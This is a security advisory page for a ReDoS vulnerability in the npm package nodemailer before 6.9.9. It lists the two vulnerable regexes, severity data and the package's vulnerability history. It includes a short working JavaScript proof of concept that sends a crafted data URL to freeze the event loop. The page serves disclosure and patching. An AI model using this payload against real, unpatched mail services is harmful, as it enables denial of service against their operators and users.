nodemailer ReDoS when trying to send a specially crafted email
Summary
A ReDoS vulnerability occurs when nodemailer tries to parse img files with the parameter attachDataUrls set, causing the stuck of event loop.
Another flaw was found when nodemailer tries to parse an attachments with a embedded file, causing the stuck of event loop.
Details
Regex: /^data:((?:[^;];)(?:[^,])),(.)$/
Path: compile -> getAttachments -> _processDataUrl
Regex: /(<img\b[^>]* src\s*=[\s"']*)(data:([^;]+);[^"'>\s]+)/
Path: _convertDataImages
PoC
https://gist.github.com/francoatmega/890dd5053375333e40c6fdbcc8c58df6 https://gist.github.com/francoatmega/9aab042b0b24968d7b7039818e8b2698
async function exploit() {
const MailComposer = require(\"nodemailer/lib/mail-composer\");
const MailComposerObject = new MailComposer();
// Create a malicious data URL that will cause excessive backtracking
// This data URL is crafted to have a long sequence of characters that will cause the regex to backtrack
const maliciousDataUrl = 'data:image/png;base64,' + 'A;B;C;D;E;F;G;H;I;J;K;L;M;N;O;P;Q;R;S;T;U;V;W;X;Y;Z;'.repeat(1000) + '==';
// Call the vulnerable method with the crafted input
const result = await MailComposerObject._processDataUrl({ path: maliciousDataUrl });
}
await exploit();Impact
ReDoS causes the event loop to stuck a specially crafted evil email can cause this problem.
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| npm package | nodemailer | < 6.9.9 | 6.9.9 |
References
- https://github.com/nodemailer/nodemailer/security/advisories/GHSA-9h6g-pr28-7cqp
- https://github.com/nodemailer/nodemailer/commit/dd8f5e8a4ddc99992e31df76bcff9c590035cd4a
- https://gist.github.com/francoatmega/890dd5053375333e40c6fdbcc8c58df6
- https://gist.github.com/francoatmega/9aab042b0b24968d7b7039818e8b2698
- https://github.com/nodemailer/nodemailer
- CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L- Weakness (CWE)
CWE-1333- Platform
- npm
- Package
nodemailer- Disclosed
- 31.01.2024
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-9h6g-pr28-7cqp - CC BY 4.0
Vulnerability history: nodemailer
All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 20
- First → latest
- 05.2021 09.2026
- Without a fix
- 0
- Exploited in attacks
- 0
Severity breakdown
- Critical 1
- High 6
- Medium 12
- Low 1
Disclosures per year
- 2021: 2
- 2022: 0
- 2023: 0
- 2024: 1
- 2025: 2
- 2026: 15
-
nodemailer ReDoS when trying to send a specially crafted email this entry
Know which vulnerabilities affect your application
With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.